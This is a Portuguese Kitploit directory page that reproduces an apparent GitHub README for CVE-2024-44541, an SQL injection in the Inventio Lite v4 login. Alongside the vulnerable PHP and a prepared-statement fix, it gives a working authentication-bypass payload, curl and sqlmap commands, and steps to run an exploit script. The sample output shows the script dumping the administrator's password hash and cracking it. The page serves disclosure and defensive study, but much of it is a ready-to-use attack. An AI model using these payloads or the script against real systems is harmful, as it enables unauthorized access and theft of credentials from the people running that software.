Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-44541 — Este repositório detalha uma vulnerabilidade de Injeção de SQL no Inventio Lite v4, incluindo etapas de exploração e um script Python para automatizar o ataque. Ele fornece informações sobre o código vulnerável, correções recomendadas e como extrair e descriptografar credenciais administrativas. | Kitploit
Ferramentas/GitHubGitHub/pointedsec/cve-2024-44541
Quebra de SenhasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubpointedsec/cve-2024-44541

CVE-2024-44541

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Este repositório detalha uma vulnerabilidade de Injeção de SQL no Inventio Lite v4, incluindo etapas de exploração e um script Python para automatizar o ataque. Ele fornece informações sobre o código vulnerável, correções recomendadas e como extrair e descriptografar credenciais administrativas.

7há 1 anoAinda não revisado
Compartilhar

CVE-2024-44541: Vulnerabilidade de Injeção SQL no Inventio Lite v4

Descrição

O Inventio Lite v4 é vulnerável a Injeção de SQL (SQLi) no endpoint /action=processlogin. Essa vulnerabilidade permite que atacantes injetem consultas SQL arbitrárias por meio do parâmetro username em requisições POST, podendo levar a acesso não autorizado e extração de dados.

Código Vulnerável

O código vulnerável é o seguinte:

root@kitploit:~
if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();
    $sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
    $query = $con->query($sql);
    $found = false;
    $userid = null;
    while($r = $query->fetch_array()){
        $found = true;
        $userid = $r['id'];
    }
}

Captura de tela do código vulnerável: Código Vulnerável

Código Corrigido

O problema é corrigido usando prepared statements:

root@kitploit:~
if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();

    // Prepare the query
    $stmt = $con->prepare("
        SELECT * FROM user 
        WHERE (email = ? OR username = ?) 
        AND password = ? 
        AND is_active = 1
    ");

    // Bind parameters
    $stmt->bind_param("sss", $user, $user, $pass);

    // Execute query
    $stmt->execute();

    // Get result
    $result = $stmt->get_result();
    $found = false;
    $userid = null;

    while($r = $result->fetch_assoc()){
        $found = true;
        $userid = $r['id'];
    }

    // Close statement
    $stmt->close();
}

Exploração

Payload de Bypass de Autenticação

Para explorar esta vulnerabilidade, use o seguinte payload:

root@kitploit:~
user -> ") or 1=1-- - 
pass -> blablalba

Exemplo do ataque usando curl:

root@kitploit:~
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""

Exemplo com SQLMap

root@kitploit:~
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs

Script de Exploit

Para automatizar a exploração e a extração do nome de usuário e do hash da senha do administrador, você pode usar o script Python fornecido, sqli.py.

Você pode clonar este repositório:

root@kitploit:~
git clone https://github.com/pointedsec/CVE-2024-44541

Em seguida, instale os requisitos com pip:

root@kitploit:~
pip install -r requirements.txt

Modifique as seguintes variáveis no script conforme necessário:

  • BASE_URL = "http://192.168.1.51/inventio-lite/"
  • PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"

E execute o script; ele exibirá o nome de usuário e o hash do Administrador e, em seguida, tentará quebrar o hash com o formato SHA1(MD5(password)).

Exemplo de saída:

root@kitploit:~
$ python3 sqli.py 
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations

Impacto

Confidencialidade: Os atacantes podem extrair (dump) todo o banco de dados, expondo dados sensíveis, como credenciais de usuários e informações pessoais.

Integridade: Os atacantes podem contornar a autenticação e obter acesso administrativo, permitindo-lhes modificar ou excluir dados.

Referências

  • Repositório do Inventio Lite no GitHub
  • https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-44541
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-44541
  • https://nvd.nist.gov/vuln/detail/CVE-2024-44541

Créditos

Este relatório de vulnerabilidade foi identificado por Andrés Del Cerro. Para mais detalhes, entre em contato comigo em [email protected]


Baixar ferramenta